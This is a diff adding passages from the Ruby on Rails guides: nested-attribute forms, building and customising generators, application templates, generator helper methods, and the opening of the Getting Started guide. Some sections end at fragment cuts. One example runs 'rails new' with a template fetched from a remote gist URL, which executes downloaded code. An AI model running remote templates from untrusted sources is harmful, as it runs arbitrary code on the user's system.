+The same technique is also available for `form_for`:
+
+```erb
+<%= form_for @invoice, url: external_url, authenticity_token: 'external_token' do |f| %>
+ Form contents
+<% end %>
+```
+
+Or if you don't want to render an `authenticity_token` field:
+
+```erb
+<%= form_for @invoice, url: external_url, authenticity_token: false do |f| %>
+ Form contents
+<% end %>
+```
+
+Building Complex Forms
+----------------------
+
+Many apps grow beyond simple forms editing a single object. For example when creating a Person you might want to allow the user to (on the same form) create multiple address records (home, work, etc.). When later editing that person the user should be able to add, remove or amend addresses as necessary.
+
+### Configuring the Model
+
+Active Record provides model level support via the `accepts_nested_attributes_for` method:
+
+```ruby
+class Person < ActiveRecord::Base
+ has_many :addresses
+ accepts_nested_attributes_for :addresses
+end
+
+class Address < ActiveRecord::Base
+ belongs_to :person
+end
+```
+
+This creates an `addresses_attributes=` method on `Person` that allows you to create, update and (optionally) destroy addresses.
+
+### Building the Form
+
+The following form allows a user to create a `Person` and its associated addresses.
+
+```html+erb
+<%= form_for @person do |f| %>
+ Addresses:
+ <ul>
+ <%= f.fields_for :addresses do |addresses_form| %>
+ <li>
+ <%= addresses_form.label :kind %>
+ <%= addresses_form.text_field :kind %>
+
+ <%= addresses_form.label :street %>
+ <%= addresses_form.text_field :street %>
+ ...
+ </li>
+ <% end %>
+ </ul>
+<% end %>
+```
+
+
+When an association accepts nested attributes `fields_for` renders its block once for every element of the association. In particular, if a person has no addresses it renders nothing. A common pattern is for the controller to build one or more empty children so that at least one set of fields is shown to the user. The example below would result in 3 sets of address fields being rendered on the new person form.
+
+```ruby
+def new
+ @person = Person.new
+ 3.times { @person.addresses.build}
+end
+```
+
+`fields_for` yields a form builder that names parameters in the format expected the accessor generated by `accepts_nested_attributes_for`. For example when creating a user with 2 addresses, the submitted parameters would look like
+
+```ruby
+{
+ :person => {
+ :name => 'John Doe',
+ :addresses_attributes => {
+ '0' => {
+ :kind => 'Home',
+ :street => '221b Baker Street',
+ },
+ '1' => {
+ :kind => 'Office',
+ :street => '31 Spooner Street'
+ }
+ }
+ }
+}
+```
+
+The keys of the `:addresses_attributes` hash are unimportant, they need merely be different for each address.
+
+If the associated object is already saved, `fields_for` autogenerates a hidden input with the `id` of the saved record. You can disable this by passing `include_id: false` to `fields_for`. You may wish to do this if the autogenerated input is placed in a location where an input tag is not valid HTML or when using an ORM where children do not have an id.
+
+### The Controller
+
+As usual you need to
+[whitelist the parameters](action_controller_overview.html#strong-parameters) in
+the controller before you pass them to the model:
+
+```ruby
+def create
+ @person = Person.new(person_params)
+ # ...
+end
+
+private
+def person_params
+ params.require(:person).permit(:name, addresses_attributes: [:id, :kind, :street])
+end
+```
+
+### Removing Objects
+
+You can allow users to delete associated objects by passing `allow_destroy: true` to `accepts_nested_attributes_for`
+
+```ruby
+class Person < ActiveRecord::Base
+ has_many :addresses
+ accepts_nested_attributes_for :addresses, allow_destroy: true
+end
+```
+
+If the hash of attributes for an object contains the key `_destroy` with a value of '1' or 'true' then the object will be destroyed. This form allows users to remove addresses:
+
+```erb
+<%= form_for @person do |f| %>
+ Addresses:
+ <ul>
+ <%= f.fields_for :addresses do |addresses_form| %>
+ <li>
+ <%= check_box :_destroy%>
+ <%= addresses_form.label :kind %>
+ <%= addresses_form.text_field :kind %>
+ ...
+ </li>
+ <% end %>
+ </ul>
+<% end %>
+```
+
+Don't forget to update the whitelisted params in your controller to also include
+the `_destroy` field:
+
+```ruby
+def person_params
+ params.require(:person).
+ permit(:name, addresses_attributes: [:id, :kind, :street, :_destroy])
+end
+```
+
+### Preventing Empty Records
+
+It is often useful to ignore sets of fields that the user has not filled in. You can control this by passing a `:reject_if` proc to `accepts_nested_attributes_for`. This proc will be called with each hash of attributes submitted by the form. If the proc returns `false` then Active Record will not build an associated object for that hash. The example below only tries to build an address if the `kind` attribute is set.
+
+```ruby
+class Person < ActiveRecord::Base
+ has_many :addresses
+ accepts_nested_attributes_for :addresses, reject_if: lambda {|attributes| attributes['kind'].blank?}
+end
+```
+
+As a convenience you can instead pass the symbol `:all_blank` which will create a proc that will reject records where all the attributes are blank excluding any value for `_destroy`.
+
+### Adding Fields on the Fly
+
+Rather than rendering multiple sets of fields ahead of time you may wish to add them only when a user clicks on an 'Add new child' button. Rails does not provide any builtin support for this. When generating new sets of fields you must ensure the the key of the associated array is unique - the current javascript date (milliseconds after the epoch) is a common choice.

+Creating and Customizing Rails Generators & Templates
+=====================================================
+
+Rails generators are an essential tool if you plan to improve your workflow. With this guide you will learn how to create generators and customize existing ones.
+
+After reading this guide, you will know:
+
+* How to see which generators are available in your application.
+* How to create a generator using templates.
+* How Rails searches for generators before invoking them.
+* How to customize your scaffold by creating new generators.
+* How to customize your scaffold by changing generator templates.
+* How to use fallbacks to avoid overwriting a huge set of generators.
+* How to create an application template.
+
+--------------------------------------------------------------------------------
+
+First Contact
+-------------
+
+When you create an application using the `rails` command, you are in fact using a Rails generator. After that, you can get a list of all available generators by just invoking `rails generate`:
+
+```bash
+$ rails new myapp
+$ cd myapp
+$ rails generate
+```
+
+You will get a list of all generators that comes with Rails. If you need a detailed description of the helper generator, for example, you can simply do:
+
+```bash
+$ rails generate helper --help
+```
+
+Creating Your First Generator
+-----------------------------
+
+Since Rails 3.0, generators are built on top of [Thor](https://github.com/wycats/thor). Thor provides powerful options parsing and a great API for manipulating files. For instance, let's build a generator that creates an initializer file named `initializer.rb` inside `config/initializers`.
+
+The first step is to create a file at `lib/generators/initializer_generator.rb` with the following content:
+
+```ruby
+class InitializerGenerator < Rails::Generators::Base
+ def create_initializer_file
+ create_file "config/initializers/initializer.rb", "# Add initialization content here"
+ end
+end
+```
+
+NOTE: `create_file` is a method provided by `Thor::Actions`. Documentation for `create_file` and other Thor methods can be found in [Thor's documentation](http://rdoc.info/github/wycats/thor/master/Thor/Actions.html)
+
+Our new generator is quite simple: it inherits from `Rails::Generators::Base` and has one method definition. When a generator is invoked, each public method in the generator is executed sequentially in the order that it is defined. Finally, we invoke the `create_file` method that will create a file at the given destination with the given content. If you are familiar with the Rails Application Templates API, you'll feel right at home with the new generators API.
+
+To invoke our new generator, we just need to do:
+
+```bash
+$ rails generate initializer
+```
+
+Before we go on, let's see our brand new generator description:
+
+```bash
+$ rails generate initializer --help
+```
+
+Rails is usually able to generate good descriptions if a generator is namespaced, as `ActiveRecord::Generators::ModelGenerator`, but not in this particular case. We can solve this problem in two ways. The first one is calling `desc` inside our generator:
+
+```ruby
+class InitializerGenerator < Rails::Generators::Base
+ desc "This generator creates an initializer file at config/initializers"
+ def create_initializer_file
+ create_file "config/initializers/initializer.rb", "# Add initialization content here"
+ end
+end
+```
+
+Now we can see the new description by invoking `--help` on the new generator. The second way to add a description is by creating a file named `USAGE` in the same directory as our generator. We are going to do that in the next step.
+
+Creating Generators with Generators
+-----------------------------------
+
+Generators themselves have a generator:
+
+```bash
+$ rails generate generator initializer
+ create lib/generators/initializer
+ create lib/generators/initializer/initializer_generator.rb
+ create lib/generators/initializer/USAGE
+ create lib/generators/initializer/templates
+```
+
+This is the generator just created:
+
+```ruby
+class InitializerGenerator < Rails::Generators::NamedBase
+ source_root File.expand_path("../templates", __FILE__)
+end
+```
+
+First, notice that we are inheriting from `Rails::Generators::NamedBase` instead of `Rails::Generators::Base`. This means that our generator expects at least one argument, which will be the name of the initializer, and will be available in our code in the variable `name`.
+
+We can see that by invoking the description of this new generator (don't forget to delete the old generator file):
+
+```bash
+$ rails generate initializer --help
+Usage:
+ rails generate initializer NAME [options]
+```
+
+We can also see that our new generator has a class method called `source_root`. This method points to where our generator templates will be placed, if any, and by default it points to the created directory `lib/generators/initializer/templates`.
+
+In order to understand what a generator template means, let's create the file `lib/generators/initializer/templates/initializer.rb` with the following content:
+
+```ruby
+# Add initialization content here
+```
+
+And now let's change the generator to copy this template when invoked:
+
+```ruby
+class InitializerGenerator < Rails::Generators::NamedBase
+ source_root File.expand_path("../templates", __FILE__)
+
+ def copy_initializer_file
+ copy_file "initializer.rb", "config/initializers/#{file_name}.rb"
+ end
+end
+```
+
+And let's execute our generator:
+
+```bash
+$ rails generate initializer core_extensions
+```
+
+We can see that now an initializer named core_extensions was created at `config/initializers/core_extensions.rb` with the contents of our template. That means that `copy_file` copied a file in our source root to the destination path we gave. The method `file_name` is automatically created when we inherit from `Rails::Generators::NamedBase`.
+
+The methods that are available for generators are covered in the [final section](#generator-methods) of this guide.
+
+Generators Lookup
+-----------------
+
+When you run `rails generate initializer core_extensions` Rails requires these files in turn until one is found:
+
+```bash
+rails/generators/initializer/initializer_generator.rb
+generators/initializer/initializer_generator.rb
+rails/generators/initializer_generator.rb
+generators/initializer_generator.rb
+```
+
+If none is found you get an error message.
+
+INFO: The examples above put files under the application's `lib` because said directory belongs to `$LOAD_PATH`.
+
+Customizing Your Workflow
+-------------------------
+
+Rails own generators are flexible enough to let you customize scaffolding. They can be configured in `config/application.rb`, these are some defaults:
+
+```ruby
+config.generators do |g|
+ g.orm :active_record
+ g.template_engine :erb
+ g.test_framework :test_unit, fixture: true
+end
+```
+
+Before we customize our workflow, let's first see what our scaffold looks like:
+
+```bash
+$ rails generate scaffold User name:string
+ invoke active_record
+ create db/migrate/20091120125558_create_users.rb
+ create app/models/user.rb
+ invoke test_unit
+ create test/models/user_test.rb
+ create test/fixtures/users.yml
+ invoke resource_route
+ route resources :users
+ invoke scaffold_controller
+ create app/controllers/users_controller.rb
+ invoke erb
+ create app/views/users
+ create app/views/users/index.html.erb
+ create app/views/users/edit.html.erb
+ create app/views/users/show.html.erb
+ create app/views/users/new.html.erb
+ create app/views/users/_form.html.erb
+ invoke test_unit
+ create test/controllers/users_controller_test.rb
+ invoke helper
+ create app/helpers/users_helper.rb
+ invoke test_unit
+ create test/helpers/users_helper_test.rb
+ invoke assets
+ invoke coffee
+ create app/assets/javascripts/users.js.coffee
+ invoke scss
+ create app/assets/stylesheets/users.css.scss
+ invoke scss
+ create app/assets/stylesheets/scaffolds.css.scss
+```
+
+Looking at this output, it's easy to understand how generators work in Rails 3.0 and above. The scaffold generator doesn't actually generate anything, it just invokes others to do the work. This allows us to add/replace/remove any of those invocations. For instance, the scaffold generator invokes the scaffold_controller generator, which invokes erb, test_unit and helper generators. Since each generator has a single responsibility, they are easy to reuse, avoiding code duplication.
+
+Our first customization on the workflow will be to stop generating stylesheets and test fixtures for scaffolds. We can achieve that by changing our configuration to the following:
+
+```ruby
+config.generators do |g|
+ g.orm :active_record
+ g.template_engine :erb
+ g.test_framework :test_unit, fixture: false
+ g.stylesheets false
+end
+```
+
+If we generate another resource with the scaffold generator, we can see that neither stylesheets nor fixtures are created anymore. If you want to customize it further, for example to use DataMapper and RSpec instead of Active Record and TestUnit, it's just a matter of adding their gems to your application and configuring your generators.
+
+To demonstrate this, we are going to create a new helper generator that simply adds some instance variable readers. First, we create a generator within the rails namespace, as this is where rails searches for generators used as hooks:
+
+```bash
+$ rails generate generator rails/my_helper
+```
+
+After that, we can delete both the `templates` directory and the `source_root` class method from our new generators, because we are not going to need them. So our new generator looks like the following:
+
+```ruby
+class Rails::MyHelperGenerator < Rails::Generators::NamedBase
+ def create_helper_file
+ create_file "app/helpers/#{file_name}_helper.rb", <<-FILE
+module #{class_name}Helper
+ attr_reader :#{plural_name}, :#{plural_name.singularize}
+end
+ FILE
+ end
+end
+```
+
+We can try out our new generator by creating a helper for users:
+
+```bash
+$ rails generate my_helper products
+```
+
+And it will generate the following helper file in `app/helpers`:
+
+```ruby
+module ProductsHelper
+ attr_reader :products, :product
+end
+```
+
+Which is what we expected. We can now tell scaffold to use our new helper generator by editing `config/application.rb` once again:
+
+```ruby
+config.generators do |g|
+ g.orm :active_record
+ g.template_engine :erb
+ g.test_framework :test_unit, fixture: false
+ g.stylesheets false
+ g.helper :my_helper
+end
+```
+
+and see it in action when invoking the generator:
+
+```bash
+$ rails generate scaffold Post body:text
+ [...]
+ invoke my_helper
+ create app/helpers/posts_helper.rb
+```
+
+We can notice on the output that our new helper was invoked instead of the Rails default. However one thing is missing, which is tests for our new generator and to do that, we are going to reuse old helpers test generators.
+
+Since Rails 3.0, this is easy to do due to the hooks concept. Our new helper does not need to be focused in one specific test framework, it can simply provide a hook and a test framework just needs to implement this hook in order to be compatible.
+
+To do that, we can change the generator this way:
+
+```ruby
+class Rails::MyHelperGenerator < Rails::Generators::NamedBase
+ def create_helper_file
+ create_file "app/helpers/#{file_name}_helper.rb", <<-FILE
+module #{class_name}Helper
+ attr_reader :#{plural_name}, :#{plural_name.singularize}
+end
+ FILE
+ end
+
+ hook_for :test_framework
+end
+```
+
+Now, when the helper generator is invoked and TestUnit is configured as the test framework, it will try to invoke both `Rails::TestUnitGenerator` and `TestUnit::MyHelperGenerator`. Since none of those are defined, we can tell our generator to invoke `TestUnit::Generators::HelperGenerator` instead, which is defined since it's a Rails generator. To do that, we just need to add:
+
+```ruby
+# Search for :helper instead of :my_helper
+hook_for :test_framework, as: :helper
+```
+
+And now you can re-run scaffold for another resource and see it generating tests as well!
+
+Customizing Your Workflow by Changing Generators Templates
+----------------------------------------------------------
+
+In the step above we simply wanted to add a line to the generated helper, without adding any extra functionality. There is a simpler way to do that, and it's by replacing the templates of already existing generators, in that case `Rails::Generators::HelperGenerator`.
+
+In Rails 3.0 and above, generators don't just look in the source root for templates, they also search for templates in other paths. And one of them is `lib/templates`. Since we want to customize `Rails::Generators::HelperGenerator`, we can do that by simply making a template copy inside `lib/templates/rails/helper` with the name `helper.rb`. So let's create that file with the following content:
+
+```erb
+module <%= class_name %>Helper
+ attr_reader :<%= plural_name %>, :<%= plural_name.singularize %>
+end
+```
+
+and revert the last change in `config/application.rb`:
+
+```ruby
+config.generators do |g|
+ g.orm :active_record
+ g.template_engine :erb
+ g.test_framework :test_unit, fixture: false
+ g.stylesheets false
+end
+```
+
+If you generate another resource, you can see that we get exactly the same result! This is useful if you want to customize your scaffold templates and/or layout by just creating `edit.html.erb`, `index.html.erb` and so on inside `lib/templates/erb/scaffold`.
+
+Adding Generators Fallbacks
+---------------------------
+
+One last feature about generators which is quite useful for plugin generators is fallbacks. For example, imagine that you want to add a feature on top of TestUnit like [shoulda](https://github.com/thoughtbot/shoulda) does. Since TestUnit already implements all generators required by Rails and shoulda just wants to overwrite part of it, there is no need for shoulda to reimplement some generators again, it can simply tell Rails to use a `TestUnit` generator if none was found under the `Sho [...]
+
+We can easily simulate this behavior by changing our `config/application.rb` once again:
+
+```ruby
+config.generators do |g|
+ g.orm :active_record
+ g.template_engine :erb
+ g.test_framework :shoulda, fixture: false
+ g.stylesheets false
+
+ # Add a fallback!
+ g.fallbacks[:shoulda] = :test_unit
+end
+```
+
+Now, if you create a Comment scaffold, you will see that the shoulda generators are being invoked, and at the end, they are just falling back to TestUnit generators:
+
+```bash
+$ rails generate scaffold Comment body:text
+ invoke active_record
+ create db/migrate/20091120151323_create_comments.rb
+ create app/models/comment.rb
+ invoke shoulda
+ create test/models/comment_test.rb
+ create test/fixtures/comments.yml
+ invoke resource_route
+ route resources :comments
+ invoke scaffold_controller
+ create app/controllers/comments_controller.rb
+ invoke erb
+ create app/views/comments
+ create app/views/comments/index.html.erb
+ create app/views/comments/edit.html.erb
+ create app/views/comments/show.html.erb
+ create app/views/comments/new.html.erb
+ create app/views/comments/_form.html.erb
+ invoke shoulda
+ create test/controllers/comments_controller_test.rb
+ invoke my_helper
+ create app/helpers/comments_helper.rb
+ invoke shoulda
+ create test/helpers/comments_helper_test.rb
+ invoke assets
+ invoke coffee
+ create app/assets/javascripts/comments.js.coffee
+ invoke scss
+```
+
+Fallbacks allow your generators to have a single responsibility, increasing code reuse and reducing the amount of duplication.
+
+Application Templates
+---------------------
+
+Now that you've seen how generators can be used _inside_ an application, did you know they can also be used to _generate_ applications too? This kind of generator is referred as a "template". This is a brief overview of the Templates API. For detailed documentation see the [Rails Application Templates guide](rails_application_templates.html).
+
+```ruby
+gem "rspec-rails", group: "test"
+gem "cucumber-rails", group: "test"
+
+if yes?("Would you like to install Devise?")
+ gem "devise"
+ generate "devise:install"
+ model_name = ask("What would you like the user model to be called? [user]")
+ model_name = "user" if model_name.blank?
+ generate "devise", model_name
+end
+```
+
+In the above template we specify that the application relies on the `rspec-rails` and `cucumber-rails` gem so these two will be added to the `test` group in the `Gemfile`. Then we pose a question to the user about whether or not they would like to install Devise. If the user replies "y" or "yes" to this question, then the template will add Devise to the `Gemfile` outside of any group and then runs the `devise:install` generator. This template then takes the users input and runs the `devi [...]
+
+Imagine that this template was in a file called `template.rb`. We can use it to modify the outcome of the `rails new` command by using the `-m` option and passing in the filename:
+
+```bash
+$ rails new thud -m template.rb
+```
+
+This command will generate the `Thud` application, and then apply the template to the generated output.
+
+Templates don't have to be stored on the local system, the `-m` option also supports online templates:
+
+```bash
+$ rails new thud -m https://gist.github.com/radar/722911/raw/
+```
+
+Whilst the final section of this guide doesn't cover how to generate the most awesome template known to man, it will take you through the methods available at your disposal so that you can develop it yourself. These same methods are also available for generators.
+
+Generator methods
+-----------------
+
+The following are methods available for both generators and templates for Rails.
+
+NOTE: Methods provided by Thor are not covered this guide and can be found in [Thor's documentation](http://rdoc.info/github/wycats/thor/master/Thor/Actions.html)
+
+### `gem`
+
+Specifies a gem dependency of the application.
+
+```ruby
+gem "rspec", group: "test", version: "2.1.0"
+gem "devise", "1.1.5"
+```
+
+Available options are:
+
+* `:group` - The group in the `Gemfile` where this gem should go.
+* `:version` - The version string of the gem you want to use. Can also be specified as the second argument to the method.
+* `:git` - The URL to the git repository for this gem.
+
+Any additional options passed to this method are put on the end of the line:
+
+```ruby
+gem "devise", git: "git://github.com/plataformatec/devise", branch: "master"
+```
+
+The above code will put the following line into `Gemfile`:
+
+```ruby
+gem "devise", git: "git://github.com/plataformatec/devise", branch: "master"
+```
+
+### `gem_group`
+
+Wraps gem entries inside a group:
+
+```ruby
+gem_group :development, :test do
+ gem "rspec-rails"
+end
+```
+
+### `add_source`
+
+Adds a specified source to `Gemfile`:
+
+```ruby
+add_source "http://gems.github.com"
+```
+
+### `inject_into_file`
+
+Injects a block of code into a defined position in your file.
+
+```ruby
+inject_into_file 'name_of_file.rb', after: "#The code goes below this line. Don't forget the Line break at the end\n" do <<-'RUBY'
+ puts "Hello World"
+RUBY
+end
+```
+
+### `gsub_file`
+
+Replaces text inside a file.
+
+```ruby
+gsub_file 'name_of_file.rb', 'method.to_be_replaced', 'method.the_replacing_code'
+```
+
+Regular Expressions can be used to make this method more precise. You can also use append_file and prepend_file in the same way to place code at the beginning and end of a file respectively.
+
+### `application`
+
+Adds a line to `config/application.rb` directly after the application class definition.
+
+```ruby
+application "config.asset_host = 'http://example.com'"
+```
+
+This method can also take a block:
+
+```ruby
+application do
+ "config.asset_host = 'http://example.com'"
+end
+```
+
+Available options are:
+
+* `:env` - Specify an environment for this configuration option. If you wish to use this option with the block syntax the recommended syntax is as follows:
+
+```ruby
+application(nil, env: "development") do
+ "config.asset_host = 'http://localhost:3000'"
+end
+```
+
+### `git`

+git commit: "-m First commit!"
+git add: "onefile.rb", rm: "badfile.cxx"
+```
+
+The values of the hash here being the arguments or options passed to the specific git command. As per the final example shown here, multiple git commands can be specified at a time, but the order of their running is not guaranteed to be the same as the order that they were specified in.
+
+### `vendor`
+
+Places a file into `vendor` which contains the specified code.
+
+```ruby
+vendor "sekrit.rb", '#top secret stuff'
+```
+
+This method also takes a block:
+
+```ruby
+vendor "seeds.rb" do
+ "puts 'in ur app, seeding ur database'"
+end
+```
+
+### `lib`
+
+Places a file into `lib` which contains the specified code.
+
+```ruby
+lib "special.rb", "p Rails.root"
+```
+
+This method also takes a block:
+
+```ruby
+lib "super_special.rb" do
+ puts "Super special!"
+end

+
+```ruby
+rakefile "test.rake" do
+ %Q{
+ task rock: :environment do
+ puts "Rockin'"
+ end
+ }
+end
+```
+
+### `initializer`
+
+Creates an initializer in the `config/initializers` directory of the application:
+
+```ruby
+initializer "begin.rb", "puts 'this is the beginning'"

+
+This method also takes a block, expected to return a string:
+
+```ruby
+initializer "begin.rb" do
+ "puts 'this is the beginning'"
+end
+```
+
+### `generate`
+
+Runs the specified generator where the first argument is the generator name and the remaining arguments are passed directly to the generator.
+
+```ruby
+generate "scaffold", "forums title:string description:text"

+
+Runs the specified Rake task.
+
+```ruby
+rake "db:migrate"
+```

+Getting Started with Rails
+==========================
+
+This guide covers getting up and running with Ruby on Rails.
+
+After reading this guide, you will know:
+
+* How to install Rails, create a new Rails application, and connect your
+ application to a database.
+* The general layout of a Rails application.
+* The basic principles of MVC (Model, View, Controller) and RESTful design.
+* How to quickly generate the starting pieces of a Rails application.
+
+--------------------------------------------------------------------------------
+
+Guide Assumptions
+-----------------
+
+This guide is designed for beginners who want to get started with a Rails
+application from scratch. It does not assume that you have any prior experience
+with Rails. However, to get the most out of it, you need to have some
+prerequisites installed:
+
+* The [Ruby](http://www.ruby-lang.org/en/downloads) language version 1.9.3 or newer
+* The [RubyGems](http://rubygems.org/) packaging system
+ * To learn more about RubyGems, please read the [RubyGems User Guide](http://docs.rubygems.org/read/book/1)
+* A working installation of the [SQLite3 Database](http://www.sqlite.org)
+
+Rails is a web application framework running on the Ruby programming language.
+If you have no prior experience with Ruby, you will find a very steep learning
+curve diving straight into Rails. There are some good free resources on the
+internet for learning Ruby, including:
+
+* [Mr. Neighborly's Humble Little Ruby Book](http://www.humblelittlerubybook.com)
+* [Programming Ruby](http://www.ruby-doc.org/docs/ProgrammingRuby/)
+* [Why's (Poignant) Guide to Ruby](http://mislav.uniqpath.com/poignant-guide/)
+
+What is Rails?
+--------------
+
+Rails is a web application development framework written in the Ruby language.
+It is designed to make programming web applications easier by making assumptions
+about what every developer needs to get started. It allows you to write less
+code while accomplishing more than many other languages and frameworks.
+Experienced Rails developers also report that it makes web application
+development more fun.
+
+Rails is opinionated software. It makes the assumption that there is the "best"
+way to do things, and it's designed to encourage that way - and in some cases to
+discourage alternatives. If you learn "The Rails Way" you'll probably discover a
+tremendous increase in productivity. If you persist in bringing old habits from
+other languages to your Rails development, and trying to use patterns you
+learned elsewhere, you may have a less happy experience.
+
+The Rails philosophy includes two major guiding principles:
+
+* DRY - "Don't Repeat Yourself" - suggests that writing the same code over and over again is a bad thing.
+* Convention Over Configuration - means that Rails makes assumptions about what you want to do and how you're going to
+do it, rather than requiring you to specify every little thing through endless configuration files.
+
+Creating a New Rails Project
+----------------------------
+
+The best way to use this guide is to follow each step as it happens, no code or
+step needed to make this example application has been left out, so you can
+literally follow along step by step. You can get the complete code
+[here](https://github.com/lifo/docrails/tree/master/guides/code/getting_started).
+
+By following along with this guide, you'll create a Rails project called
+`blog`, a
+(very) simple weblog. Before you can start building the application, you need to
+make sure that you have Rails itself installed.
+
+TIP: The examples below use `#` and `$` to denote superuser and regular
+user terminal prompts respectively in a UNIX-like OS. If you are using
+Windows, your prompt will look something like `c:\source_code>`
+
+### Installing Rails
+
+Open up a command line prompt. On Mac OS X open Terminal.app, on Windows choose
+"Run" from your Start menu and type 'cmd.exe'. Any commands prefaced with a
+dollar sign `$` should be run in the command line. Verify that you have a
+current version of Ruby installed:
+
+```bash
+$ ruby -v
+ruby 1.9.3p385
+```
+
+To install Rails, use the `gem install` command provided by RubyGems:
+
+```bash
+$ gem install rails
+```
+
+TIP. A number of tools exist to help you quickly install Ruby and Ruby
+on Rails on your system. Windows users can use [Rails Installer](http://railsinstaller.org), while Mac OS X users can use
+[Rails One Click](http://railsoneclick.com).
+
+To verify that you have everything installed correctly, you should be able to run the following:
+
+```bash
+$ rails --version
+```
+
+If it says something like "Rails 4.0.0", you are ready to continue.
+
+### Creating the Blog Application
+
+Rails comes with a number of scripts called generators that are designed to make your development life easier by creating everything that's necessary to start working on a particular task. One of these is the new application generator, which will provide you with the foundation of a fresh Rails application so that you don't have to write it yourself.
+
+To use this generator, open a terminal, navigate to a directory where you have rights to create files, and type:
+
+```bash
+$ rails new blog
+```
+
+This will create a Rails application called Blog in a directory called blog and install the gem dependencies that are already mentioned in `Gemfile` using `bundle install`.
+
+TIP: You can see all of the command line options that the Rails
+application builder accepts by running `rails new -h`.
+
+After you create the blog application, switch to its folder to continue work directly in that application:
+
+```bash
+$ cd blog
+```
+
+The `rails new blog` command we ran above created a folder in your
+working directory called `blog`. The `blog` directory has a number of
+auto-generated files and folders that make up the structure of a Rails
+application. Most of the work in this tutorial will happen in the `app/` folder, but here's a basic rundown on the function of each of the files and folders that Rails created by default:
+
+| File/Folder | Purpose |
+| ----------- | ------- |
+|app/|Contains the controllers, models, views, helpers, mailers and assets for your application. You'll focus on this folder for the remainder of this guide.|
+|bin/|Contains the rails script that starts your app and can contain other scripts you use to deploy or run your application.|
+|config/|Configure your application's runtime rules, routes, database, and more. This is covered in more detail in [Configuring Rails Applications](configuring.html)|
+|config.ru|Rack configuration for Rack based servers used to start the application.|
+|db/|Contains your current database schema, as well as the database migrations.|
+|Gemfile<br />Gemfile.lock|These files allow you to specify what gem dependencies are needed for your Rails application. These files are used by the Bundler gem. For more information about Bundler, see [the Bundler website](http://gembundler.com) |
+|lib/|Extended modules for your application.|
+|log/|Application log files.|
+|public/|The only folder seen to the world as-is. Contains the static files and compiled assets.|
+|Rakefile|This file locates and loads tasks that can be run from the command line. The task definitions are defined throughout the components of Rails. Rather than changing Rakefile, you should add your own tasks by adding files to the lib/tasks directory of your application.|
+|README.rdoc|This is a brief instruction manual for your application. You should edit this file to tell others what your application does, how to set it up, and so on.|
+|test/|Unit tests, fixtures, and other test apparatus. These are covered in [Testing Rails Applications](testing.html)|
+|tmp/|Temporary files (like cache, pid and session files)|
+|vendor/|A place for all third-party code. In a typical Rails application, this includes Ruby Gems and the Rails source code (if you optionally install it into your project).|
+
+Hello, Rails!
+-------------
+
+To begin with, let's get some text up on screen quickly. To do this, you need to get your Rails application server running.
+
+### Starting up the Web Server
+
+You actually have a functional Rails application already. To see it, you need to start a web server on your development machine. You can do this by running:
+
+```bash
+$ rails server
+```
+
+TIP: Compiling CoffeeScript to JavaScript requires a JavaScript runtime and the absence of a runtime will give you an `execjs` error. Usually Mac OS X and Windows come with a JavaScript runtime installed. Rails adds the `therubyracer` gem to Gemfile in a commented line for new apps and you can uncomment if you need it. `therubyrhino` is the recommended runtime for JRuby users and is added by default to Gemfile in apps generated under JRuby. You can investigate about all the supported run [...]
+
+This will fire up WEBrick, a webserver built into Ruby by default. To see your application in action, open a browser window and navigate to <http://localhost:3000>. You should see the Rails default information page:
+
+
+
+TIP: To stop the web server, hit Ctrl+C in the terminal window where it's running. To verify the server has stopped you should see your command prompt cursor again. For most UNIX-like systems including Mac OS X this will be a dollar sign `$`. In development mode, Rails does not generally require you to restart the server; changes you make in files will be automatically picked up by the server.
+
+The "Welcome Aboard" page is the _smoke test_ for a new Rails application: it makes sure that you have your software configured correctly enough to serve a page. You can also click on the _About your application’s environment_ link to see a summary of your application's environment.
+
+### Say "Hello", Rails
+
+To get Rails saying "Hello", you need to create at minimum a _controller_ and a _view_.
+
+A controller's purpose is to receive specific requests for the application. _Routing_ decides which controller receives which requests. Often, there is more than one route to each controller, and different routes can be served by different _actions_. Each action's purpose is to collect information to provide it to a view.
+
+A view's purpose is to display this information in a human readable format. An important distinction to make is that it is the _controller_, not the view, where information is collected. The view should just display that information. By default, view templates are written in a language called ERB (Embedded Ruby) which is converted by the request cycle in Rails before being sent to the user.
+
+To create a new controller, you will need to run the "controller" generator and tell it you want a controller called "welcome" with an action called "index", just like this:
+
+```bash
+$ rails generate controller welcome index
+```
+
+Rails will create several files and a route for you.
+
+```bash
+create app/controllers/welcome_controller.rb
+ route get "welcome/index"
+invoke erb
+create app/views/welcome
+create app/views/welcome/index.html.erb
+invoke test_unit
+create test/controllers/welcome_controller_test.rb
+invoke helper
+create app/helpers/welcome_helper.rb
+invoke test_unit
+create test/helpers/welcome_helper_test.rb
+invoke assets
+invoke coffee
+create app/assets/javascripts/welcome.js.coffee
+invoke scss
+create app/assets/stylesheets/welcome.css.scss
+```
+
+Most important of these are of course the controller, located at `app/controllers/welcome_controller.rb` and the view, located at `app/views/welcome/index.html.erb`.
+
+Open the `app/views/welcome/index.html.erb` file in your text editor. Delete all of the existing code in the file, and replace it with the following single line of code:
+
+```html
+<h1>Hello, Rails!</h1>
+```
+
+### Setting the Application Home Page
+
+Now that we have made the controller and view, we need to tell Rails when we want Hello Rails! to show up. In our case, we want it to show up when we navigate to the root URL of our site, <http://localhost:3000>. At the moment, "Welcome Aboard" is occupying that spot.
+
+Next, you have to tell Rails where your actual home page is located.
+
+Open the file `config/routes.rb` in your editor.
+
+```ruby
+Blog::Application.routes.draw do
+ get "welcome/index"
+
+ # The priority is based upon order of creation:
+ # first created -> highest priority.
+ # ...
+ # You can have the root of your site routed with "root"
+ # root to: "welcome#index"
+```
+
+This is your application's _routing file_ which holds entries in a special DSL (domain-specific language) that tells Rails how to connect incoming requests to controllers and actions. This file contains many sample routes on commented lines, and one of them actually shows you how to connect the root of your site to a specific controller and action. Find the line beginning with `root :to` and uncomment it. It should look something like the following:
+
+```ruby
+root to: "welcome#index"
+```
+
+The `root to: "welcome#index"` tells Rails to map requests to the root of the application to the welcome controller's index action and `get "welcome/index"` tells Rails to map requests to <http://localhost:3000/welcome/index> to the welcome controller's index action. This was created earlier when you ran the controller generator (`rails generate controller welcome index`).
+
+If you navigate to <http://localhost:3000> in your browser, you'll see the `Hello, Rails!` message you put into `app/views/welcome/index.html.erb`, indicating that this new route is indeed going to `WelcomeController`'s `index` action and is rendering the view correctly.
+
+TIP: For more information about routing, refer to [Rails Routing from the Outside In](routing.html).
+
+Getting Up and Running
+----------------------
+
+Now that you've seen how to create a controller, an action and a view, let's create something with a bit more substance.
+
